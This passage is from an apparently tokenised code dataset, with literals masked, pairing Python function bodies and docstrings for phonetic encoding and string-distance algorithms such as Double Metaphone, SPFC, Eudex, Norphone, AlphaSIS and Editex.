'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>current += <NUM_LIT:3><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>if (<EOL>(current == <NUM_LIT:0>)<EOL>and not _is_vowel(<NUM_LIT:3>)<EOL>and (_get_at(<NUM_LIT:3>) != '<STR_LIT>')<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>', '<STR_LIT:S>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>')<EOL><DEDENT>current += <NUM_LIT:3><EOL>continue<EOL><DEDENT><DEDENT>elif _string_at((current + <NUM_LIT:2>), <NUM_LIT:1>, {'<STR_LIT:I>', '<STR_LIT:E>', '<STR_LIT:Y>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>')<EOL>current += <NUM_LIT:3><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:3><EOL>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if (current == last) and _string_at(<EOL>(current - <NUM_LIT:2>), <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>'}<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:S>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>')<EOL><DEDENT>if _string_at((current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:S>', '<STR_LIT>'}):<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT><DEDENT>elif _get_at(current) == '<STR_LIT:T>':<EOL><INDENT>if _string_at(current, <NUM_LIT:4>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>')<EOL>current += <NUM_LIT:3><EOL>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:3>, {'<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:X>')<EOL>current += <NUM_LIT:3><EOL>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:2>, {'<STR_LIT>'}) or _string_at(<EOL>current, <NUM_LIT:3>, {'<STR_LIT>'}<EOL>):<EOL><INDENT>if (<EOL>_string_at((current + <NUM_LIT:2>), <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>'})<EOL>or _string_at(<NUM_LIT:0>, <NUM_LIT:4>, {'<STR_LIT>', '<STR_LIT>'})<EOL>or _string_at(<NUM_LIT:0>, <NUM_LIT:3>, {'<STR_LIT>'})<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:T>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:0>', '<STR_LIT:T>')<EOL><DEDENT>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at((current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:T>', '<STR_LIT:D>'}):<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT:T>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT>':<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>primary, secondary = _metaph_add('<STR_LIT:F>')<EOL>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT>':<EOL><INDENT>if _string_at(current, <NUM_LIT:2>, {'<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:R>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif (current == <NUM_LIT:0>) and (<EOL>_is_vowel(current + <NUM_LIT:1>) or _string_at(current, <NUM_LIT:2>, {'<STR_LIT>'})<EOL>):<EOL><INDENT>if _is_vowel(current + <NUM_LIT:1>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:A>', '<STR_LIT:F>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:A>')<EOL><DEDENT><DEDENT>if (<EOL>((current == last) and _is_vowel(current - <NUM_LIT:1>))<EOL>or _string_at(<EOL>(current - <NUM_LIT:1>), <NUM_LIT:5>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}<EOL>)<EOL>or _string_at(<NUM_LIT:0>, <NUM_LIT:3>, {'<STR_LIT>'})<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT:F>')<EOL>current += <NUM_LIT:1><EOL>continue<EOL><DEDENT>elif _string_at(current, <NUM_LIT:4>, {'<STR_LIT>', '<STR_LIT>'}):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>', '<STR_LIT>')<EOL>current += <NUM_LIT:4><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL>continue<EOL><DEDENT><DEDENT>elif _get_at(current) == '<STR_LIT:X>':<EOL><INDENT>if not (<EOL>(current == last)<EOL>and (<EOL>_string_at((current - <NUM_LIT:3>), <NUM_LIT:3>, {'<STR_LIT>', '<STR_LIT>'})<EOL>or _string_at((current - <NUM_LIT:2>), <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>'})<EOL>)<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL><DEDENT>if _string_at((current + <NUM_LIT:1>), <NUM_LIT:1>, {'<STR_LIT:C>', '<STR_LIT:X>'}):<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>elif _get_at(current) == '<STR_LIT>':<EOL><INDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT:H>':<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT>')<EOL>current += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif _string_at((current + <NUM_LIT:1>), <NUM_LIT:2>, {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}) or (<EOL>_slavo_germanic()<EOL>and ((current > <NUM_LIT:0>) and _get_at(current - <NUM_LIT:1>) != '<STR_LIT:T>')<EOL>):<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>primary, secondary = _metaph_add('<STR_LIT:S>')<EOL><DEDENT>if _get_at(current + <NUM_LIT:1>) == '<STR_LIT>':<EOL><INDENT>current += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>else:<EOL><INDENT>current += <NUM_LIT:1><EOL><DEDENT><DEDENT>if max_length > <NUM_LIT:0>:<EOL><INDENT>primary = primary[:max_length]<EOL>secondary = secondary[:max_length]<EOL><DEDENT>if primary == secondary:<EOL><INDENT>secondary = '<STR_LIT>'<EOL><DEDENT>return primary, secondary<EOL>", "docstring": "Return the Double Metaphone code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The maximum length of the returned Double Metaphone codes (defaults\n            to unlmited, but in Philips' original implementation this was 4)\n\n        Returns\n        -------\n        tuple\n            The Double Metaphone value(s)\n\n        Examples\n        --------\n        >>> pe = DoubleMetaphone()\n        >>> pe.encode('Christopher')\n        ('KRSTFR', '')\n        >>> pe.encode('Niall')\n        ('NL', '')\n        >>> pe.encode('Smith')\n        ('SM0', 'XMT')\n        >>> pe.encode('Schmidt')\n        ('XMT', 'SMT')", "id": "f6611:c0:m0"}
{"signature": "def reth_schek_phonetik(word):", "body": "return RethSchek().encode(word)<EOL>", "docstring": "Return Reth-Schek Phonetik code for a word.\n\n    This is a wrapper for :py:meth:`RethSchek.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The Reth-Schek Phonetik code\n\n    Examples\n    --------\n    >>> reth_schek_phonetik('Joachim')\n    'JOAGHIM'\n    >>> reth_schek_phonetik('Christoph')\n    'GHRISDOF'\n    >>> reth_schek_phonetik('J\u00f6rg')\n    'JOERG'\n    >>> reth_schek_phonetik('Smith')\n    'SMID'\n    >>> reth_schek_phonetik('Schmidt')\n    'SCHMID'", "id": "f6612:m0"}
{"signature": "def encode(self, word):", "body": "<EOL>word = word.upper()<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>pos = <NUM_LIT:0><EOL>while pos < len(word):<EOL><INDENT>for num in range(<NUM_LIT:3>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>if word[pos : pos + num] in self._replacements[num]:<EOL><INDENT>word = (<EOL>word[:pos]<EOL>+ self._replacements[num][word[pos : pos + num]]<EOL>+ word[pos + num :]<EOL>)<EOL>pos += <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pos += <NUM_LIT:1>  <EOL><DEDENT><DEDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT:R>'<EOL><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT:L>'<EOL><DEDENT>elif word[-<NUM_LIT:1>:] == '<STR_LIT:H>':<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>return word<EOL>", "docstring": "Return Reth-Schek Phonetik code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The Reth-Schek Phonetik code\n\n        Examples\n        --------\n        >>> reth_schek_phonetik('Joachim')\n        'JOAGHIM'\n        >>> reth_schek_phonetik('Christoph')\n        'GHRISDOF'\n        >>> reth_schek_phonetik('J\u00f6rg')\n        'JOERG'\n        >>> reth_schek_phonetik('Smith')\n        'SMID'\n        >>> reth_schek_phonetik('Schmidt')\n        'SCHMID'", "id": "f6612:c0:m0"}
{"signature": "def spfc(word):", "body": "return SPFC().encode(word)<EOL>", "docstring": "Return the Standardized Phonetic Frequency Code (SPFC) of a word.\n\n    This is a wrapper for :py:meth:`SPFC.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The SPFC value\n\n    Examples\n    --------\n    >>> spfc('Christopher Smith')\n    '01160'\n    >>> spfc('Christopher Schmidt')\n    '01160'\n    >>> spfc('Niall Smith')\n    '01660'\n    >>> spfc('Niall Schmidt')\n    '01660'\n\n    >>> spfc('L.Smith')\n    '01960'\n    >>> spfc('R.Miller')\n    '65490'\n\n    >>> spfc(('L', 'Smith'))\n    '01960'\n    >>> spfc(('R', 'Miller'))\n    '65490'", "id": "f6613:m0"}
{"signature": "def encode(self, word):", "body": "def _raise_word_ex():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>raise AttributeError(<EOL>'<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>+ '<STR_LIT>'<EOL>)<EOL><DEDENT>if not word:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>names = []<EOL>if isinstance(word, (str, text_type)):<EOL><INDENT>names = word.split('<STR_LIT:.>', <NUM_LIT:1>)<EOL>if len(names) != <NUM_LIT:2>:<EOL><INDENT>names = word.split('<STR_LIT:U+0020>', <NUM_LIT:1>)<EOL>if len(names) != <NUM_LIT:2>:<EOL><INDENT>_raise_word_ex()<EOL><DEDENT><DEDENT><DEDENT>elif hasattr(word, '<STR_LIT>'):<EOL><INDENT>if len(word) != <NUM_LIT:2>:<EOL><INDENT>_raise_word_ex()<EOL><DEDENT>names = word<EOL><DEDENT>else:<EOL><INDENT>_raise_word_ex()<EOL><DEDENT>names = [<EOL>unicode_normalize(<EOL>'<STR_LIT>', text_type(_.strip().replace('<STR_LIT>', '<STR_LIT>').upper())<EOL>)<EOL>for _ in names<EOL>]<EOL>code = '<STR_LIT>'<EOL>def _steps_one_to_three(name):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>name = '<STR_LIT>'.join(_ for _ in name if _ in self._uc_set)<EOL>for subst in self._substitutions:<EOL><INDENT>name = name.replace(subst[<NUM_LIT:0>], subst[<NUM_LIT:1>])<EOL><DEDENT>name = self._delete_consecutive_repeats(name)<EOL>if name:<EOL><INDENT>name = name[<NUM_LIT:0>] + '<STR_LIT>'.join(<EOL>_<EOL>for _ in name[<NUM_LIT:1>:]<EOL>if _ not in {'<STR_LIT:A>', '<STR_LIT:E>', '<STR_LIT:H>', '<STR_LIT:I>', '<STR_LIT:O>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:Y>'}<EOL>)<EOL><DEDENT>return name<EOL><DEDENT>names = [_steps_one_to_three(_) for _ in names]<EOL>if names[<NUM_LIT:1>]:<EOL><INDENT>code += names[<NUM_LIT:1>][<NUM_LIT:0>].translate(self._pf1)<EOL>names[<NUM_LIT:1>] = names[<NUM_LIT:1>][<NUM_LIT:1>:]<EOL><DEDENT>if names[<NUM_LIT:1>]:<EOL><INDENT>if names[<NUM_LIT:1>][-<NUM_LIT:3>:] == '<STR_LIT>' or names[<NUM_LIT:1>][-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>code += '<STR_LIT>'<EOL>names[<NUM_LIT:1>] = names[<NUM_LIT:1>][:-<NUM_LIT:3>]<EOL><DEDENT>elif names[<NUM_LIT:1>][-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>code += '<STR_LIT>'<EOL>names[<NUM_LIT:1>] = names[<NUM_LIT:1>][:-<NUM_LIT:2>]<EOL><DEDENT>elif names[<NUM_LIT:1>][-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>code += '<STR_LIT>'<EOL>names[<NUM_LIT:1>] = names[<NUM_LIT:1>][:-<NUM_LIT:3>]<EOL><DEDENT>elif names[<NUM_LIT:1>][-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>code += '<STR_LIT>'<EOL>names[<NUM_LIT:1>] = names[<NUM_LIT:1>][:-<NUM_LIT:2>]<EOL><DEDENT>elif names[<NUM_LIT:1>][-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>code += '<STR_LIT>'<EOL>names[<NUM_LIT:1>] = names[<NUM_LIT:1>][:-<NUM_LIT:3>]<EOL><DEDENT>elif names[<NUM_LIT:1>][-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>code += '<STR_LIT>'<EOL>names[<NUM_LIT:1>] = names[<NUM_LIT:1>][:-<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>code += names[<NUM_LIT:1>][-<NUM_LIT:1>].translate(self._pf3)<EOL>names[<NUM_LIT:1>] = names[<NUM_LIT:1>][:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if names[<NUM_LIT:0>]:<EOL><INDENT>code += names[<NUM_LIT:0>][<NUM_LIT:0>].translate(self._pf2)<EOL>names[<NUM_LIT:0>] = names[<NUM_LIT:0>][<NUM_LIT:1>:]<EOL><DEDENT>for _ in range(<NUM_LIT:2>):<EOL><INDENT>if names[<NUM_LIT:1>]:<EOL><INDENT>code += names[<NUM_LIT:1>][<NUM_LIT:0>].translate(self._pf2)<EOL>names[<NUM_LIT:1>] = names[<NUM_LIT:1>][<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>code += '<STR_LIT:0>'<EOL><DEDENT><DEDENT>return code<EOL>", "docstring": "Return the Standardized Phonetic Frequency Code (SPFC) of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The SPFC value\n\n        Raises\n        ------\n        AttributeError\n            Word attribute must be a string with a space or period dividing the\n            first and last names or a tuple/list consisting of the first and\n            last names\n\n        Examples\n        --------\n        >>> pe = SPFC()\n        >>> pe.encode('Christopher Smith')\n        '01160'\n        >>> pe.encode('Christopher Schmidt')\n        '01160'\n        >>> pe.encode('Niall Smith')\n        '01660'\n        >>> pe.encode('Niall Schmidt')\n        '01660'\n\n        >>> pe.encode('L.Smith')\n        '01960'\n        >>> pe.encode('R.Miller')\n        '65490'\n\n        >>> pe.encode(('L', 'Smith'))\n        '01960'\n        >>> pe.encode(('R', 'Miller'))\n        '65490'", "id": "f6613:c0:m0"}
{"signature": "def eudex(word, max_length=<NUM_LIT:8>):", "body": "return Eudex().encode(word, max_length)<EOL>", "docstring": "Return the eudex phonetic hash of a word.\n\n    This is a wrapper for :py:meth:`Eudex.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length in bits of the code returned (default 8)\n\n    Returns\n    -------\n    int\n        The eudex hash\n\n    Examples\n    --------\n    >>> eudex('Colin')\n    432345564238053650\n    >>> eudex('Christopher')\n    433648490138894409\n    >>> eudex('Niall')\n    648518346341351840\n    >>> eudex('Smith')\n    720575940412906756\n    >>> eudex('Schmidt')\n    720589151732307997", "id": "f6614:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:8>):", "body": "<EOL>word = '<STR_LIT>'.join(<EOL>char for char in word.lower() if char in self._initial_phones<EOL>)<EOL>if not word:<EOL><INDENT>word = '<STR_LIT>'<EOL><DEDENT>values = [self._initial_phones[word[<NUM_LIT:0>]]]<EOL>values += [self._trailing_phones[char] for char in word[<NUM_LIT:1>:]]<EOL>shifted_values = [_ >> <NUM_LIT:1> for _ in values]<EOL>condensed_values = [values[<NUM_LIT:0>]]<EOL>for n in range(<NUM_LIT:1>, len(shifted_values)):<EOL><INDENT>if shifted_values[n] != shifted_values[n - <NUM_LIT:1>]:<EOL><INDENT>condensed_values.append(values[n])<EOL><DEDENT><DEDENT>values = (<EOL>[condensed_values[<NUM_LIT:0>]]<EOL>+ [<NUM_LIT:0>] * max(<NUM_LIT:0>, max_length - len(condensed_values))<EOL>+ condensed_values[<NUM_LIT:1>:max_length]<EOL>)<EOL>hash_value = <NUM_LIT:0><EOL>for val in values:<EOL><INDENT>hash_value = (hash_value << <NUM_LIT:8>) | val<EOL><DEDENT>return hash_value<EOL>", "docstring": "Return the eudex phonetic hash of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length in bits of the code returned (default 8)\n\n        Returns\n        -------\n        int\n            The eudex hash\n\n        Examples\n        --------\n        >>> pe = Eudex()\n        >>> pe.encode('Colin')\n        432345564238053650\n        >>> pe.encode('Christopher')\n        433648490138894409\n        >>> pe.encode('Niall')\n        648518346341351840\n        >>> pe.encode('Smith')\n        720575940412906756\n        >>> pe.encode('Schmidt')\n        720589151732307997", "id": "f6614:c0:m0"}
{"signature": "def norphone(word):", "body": "return Norphone().encode(word)<EOL>", "docstring": "Return the Norphone code.\n\n    This is a wrapper for :py:meth:`Norphone.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The Norphone code\n\n    Examples\n    --------\n    >>> norphone('Hansen')\n    'HNSN'\n    >>> norphone('Larsen')\n    'LRSN'\n    >>> norphone('Aagaard')\n    '\u00c5KRT'\n    >>> norphone('Braaten')\n    'BRTN'\n    >>> norphone('Sandvik')\n    'SNVK'", "id": "f6615:m0"}
{"signature": "def encode(self, word):", "body": "word = word.upper()<EOL>code = '<STR_LIT>'<EOL>skip = <NUM_LIT:0><EOL>if word[<NUM_LIT:0>:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>code = '<STR_LIT>'<EOL>skip = <NUM_LIT:2><EOL><DEDENT>elif word[<NUM_LIT:0>:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>code = '<STR_LIT>'<EOL>skip = <NUM_LIT:2><EOL><DEDENT>elif word[<NUM_LIT:0>:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>code = '<STR_LIT:X>'<EOL>skip = <NUM_LIT:3><EOL><DEDENT>elif word[<NUM_LIT:0>:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>code = '<STR_LIT>'<EOL>skip = <NUM_LIT:2><EOL><DEDENT>elif word[<NUM_LIT:0>:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>code = '<STR_LIT:X>'<EOL>skip = <NUM_LIT:2><EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT:C>':<EOL><INDENT>code = '<STR_LIT>'<EOL>skip = <NUM_LIT:1><EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>code = '<STR_LIT>'<EOL>skip = <NUM_LIT:1><EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>code = '<STR_LIT>'<EOL>skip = <NUM_LIT:1><EOL><DEDENT>if word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT:T>'<EOL><DEDENT>elif word[-<NUM_LIT:2>:-<NUM_LIT:1>] in self._uc_v_set and word[-<NUM_LIT:1>:] == '<STR_LIT:D>':<EOL><INDENT>word = word[:-<NUM_LIT:2>]<EOL><DEDENT>for pos, char in enumerate(word):<EOL><INDENT>if skip:<EOL><INDENT>skip -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>for length in sorted(self._replacements, reverse=True):<EOL><INDENT>if word[pos : pos + length] in self._replacements[length]:<EOL><INDENT>code += self._replacements[length][<EOL>word[pos : pos + length]<EOL>]<EOL>skip = length - <NUM_LIT:1><EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not pos or char not in self._uc_v_set:<EOL><INDENT>code += char<EOL><DEDENT><DEDENT><DEDENT><DEDENT>code = self._delete_consecutive_repeats(code)<EOL>return code<EOL>", "docstring": "Return the Norphone code.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The Norphone code\n\n        Examples\n        --------\n        >>> pe = Norphone()\n        >>> pe.encode('Hansen')\n        'HNSN'\n        >>> pe.encode('Larsen')\n        'LRSN'\n        >>> pe.encode('Aagaard')\n        '\u00c5KRT'\n        >>> pe.encode('Braaten')\n        'BRTN'\n        >>> pe.encode('Sandvik')\n        'SNVK'", "id": "f6615:c0:m0"}
{"signature": "def alpha_sis(word, max_length=<NUM_LIT>):", "body": "return AlphaSIS().encode(word, max_length)<EOL>", "docstring": "Return the IBM Alpha Search Inquiry System code for a word.\n\n    This is a wrapper for :py:meth:`AlphaSIS.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 14)\n\n    Returns\n    -------\n    tuple\n        The Alpha-SIS value\n\n    Examples\n    --------\n    >>> alpha_sis('Christopher')\n    ('06401840000000', '07040184000000', '04018400000000')\n    >>> alpha_sis('Niall')\n    ('02500000000000',)\n    >>> alpha_sis('Smith')\n    ('03100000000000',)\n    >>> alpha_sis('Schmidt')\n    ('06310000000000',)", "id": "f6616:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT>):", "body": "alpha = ['<STR_LIT>']<EOL>pos = <NUM_LIT:0><EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>max_length = min(max(<NUM_LIT:4>, max_length), <NUM_LIT:64>)<EOL><DEDENT>else:<EOL><INDENT>max_length = <NUM_LIT:64><EOL><DEDENT>for k in self._alpha_sis_initials_order:<EOL><INDENT>if word.startswith(k):<EOL><INDENT>alpha[<NUM_LIT:0>] += self._alpha_sis_initials[k]<EOL>pos += len(k)<EOL>break<EOL><DEDENT><DEDENT>if not alpha[<NUM_LIT:0>]:<EOL><INDENT>alpha[<NUM_LIT:0>] += '<STR_LIT:0>'<EOL><DEDENT>while pos < len(word):<EOL><INDENT>orig_pos = pos<EOL>for k in self._alpha_sis_basic_order:<EOL><INDENT>if word[pos:].startswith(k):<EOL><INDENT>if isinstance(self._alpha_sis_basic[k], tuple):<EOL><INDENT>newalpha = []<EOL>for i in range(len(self._alpha_sis_basic[k])):<EOL><INDENT>newalpha += [<EOL>_ + self._alpha_sis_basic[k][i] for _ in alpha<EOL>]<EOL><DEDENT>alpha = newalpha<EOL><DEDENT>else:<EOL><INDENT>alpha = [_ + self._alpha_sis_basic[k] for _ in alpha]<EOL><DEDENT>pos += len(k)<EOL>break<EOL><DEDENT><DEDENT>if pos == orig_pos:<EOL><INDENT>alpha = [_ + '<STR_LIT:_>' for _ in alpha]<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>for i in range(len(alpha)):<EOL><INDENT>pos = <NUM_LIT:1><EOL>while pos < len(alpha[i]):<EOL><INDENT>if alpha[i][pos] == alpha[i][pos - <NUM_LIT:1>]:<EOL><INDENT>alpha[i] = alpha[i][:pos] + alpha[i][pos + <NUM_LIT:1> :]<EOL><DEDENT>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>alpha = (_.replace('<STR_LIT:_>', '<STR_LIT>') for _ in alpha)<EOL>alpha = ((_ + ('<STR_LIT:0>' * max_length))[:max_length] for _ in alpha)<EOL>return tuple(alpha)<EOL>", "docstring": "Return the IBM Alpha Search Inquiry System code for a word.\n\n        A collection is necessary as the return type since there can be\n        multiple values for a single word. But the collection must be ordered\n        since the first value is the primary coding.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 14)\n\n        Returns\n        -------\n        tuple\n            The Alpha-SIS value\n\n        Examples\n        --------\n        >>> pe = AlphaSIS()\n        >>> pe.encode('Christopher')\n        ('06401840000000', '07040184000000', '04018400000000')\n        >>> pe.encode('Niall')\n        ('02500000000000',)\n        >>> pe.encode('Smith')\n        ('03100000000000',)\n        >>> pe.encode('Schmidt')\n        ('06310000000000',)", "id": "f6616:c0:m0"}
{"signature": "def editex(src, tar, cost=(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>), local=False):", "body": "return Editex().dist_abs(src, tar, cost, local)<EOL>", "docstring": "Return the Editex distance between two strings.\n\n    This is a wrapper for :py:meth:`Editex.dist_abs`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    cost : tuple\n        A 3-tuple representing the cost of the four possible edits: match,\n        same-group, and mismatch respectively (by default: (0, 1, 2))\n    local : bool\n        If True, the local variant of Editex is used\n\n    Returns\n    -------\n    int\n        Editex distance\n\n    Examples\n    --------\n    >>> editex('cat', 'hat')\n    2\n    >>> editex('Niall', 'Neil')\n    2\n    >>> editex('aluminum', 'Catalan')\n    12\n    >>> editex('ATCG', 'TAGC')\n    6", "id": "f6617:m0"}
{"signature": "def dist_editex(src, tar, cost=(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>), local=False):", "body": "return Editex().dist(src, tar, cost, local)<EOL>", "docstring": "Return the normalized Editex distance between two strings.\n\n    This is a wrapper for :py:meth:`Editex.dist`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    cost : tuple\n        A 3-tuple representing the cost of the four possible edits: match,\n        same-group, and mismatch respectively (by default: (0, 1, 2))\n    local : bool\n        If True, the local variant of Editex is used\n\n    Returns\n    -------\n    int\n        Normalized Editex distance\n\n    Examples\n    --------\n    >>> round(dist_editex('cat', 'hat'), 12)\n    0.333333333333\n    >>> round(dist_editex('Niall', 'Neil'), 12)\n    0.2\n    >>> dist_editex('aluminum', 'Catalan')\n    0.75\n    >>> dist_editex('ATCG', 'TAGC')\n    0.75", "id": "f6617:m1"}
{"signature": "def sim_editex(src, tar, cost=(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>), local=False):", "body": "return Editex().sim(src, tar, cost, local)<EOL>", "docstring": "Return the normalized Editex similarity of two strings.\n\n    This is a wrapper for :py:meth:`Editex.sim`.\n\n    Parameters\n    ----------\n    src : str\n        Source string for comparison\n    tar : str\n        Target string for comparison\n    cost : tuple\n        A 3-tuple representing the cost of the four possible edits: match,\n        same-group, and mismatch respectively (by default: (0, 1, 2))\n    local : bool\n        If True, the local variant of Editex is used\n\n    Returns\n    -------\n    int\n        Normalized Editex similarity\n\n    Examples\n    --------\n    >>> round(sim_editex('cat', 'hat'), 12)\n    0.666666666667\n    >>> round(sim_editex('Niall', 'Neil'), 12)\n    0.8\n    >>> sim_editex('aluminum', 'Catalan')\n    0.25\n    >>> sim_editex('ATCG', 'TAGC')\n    0.25", "id": "f6617:m2"}
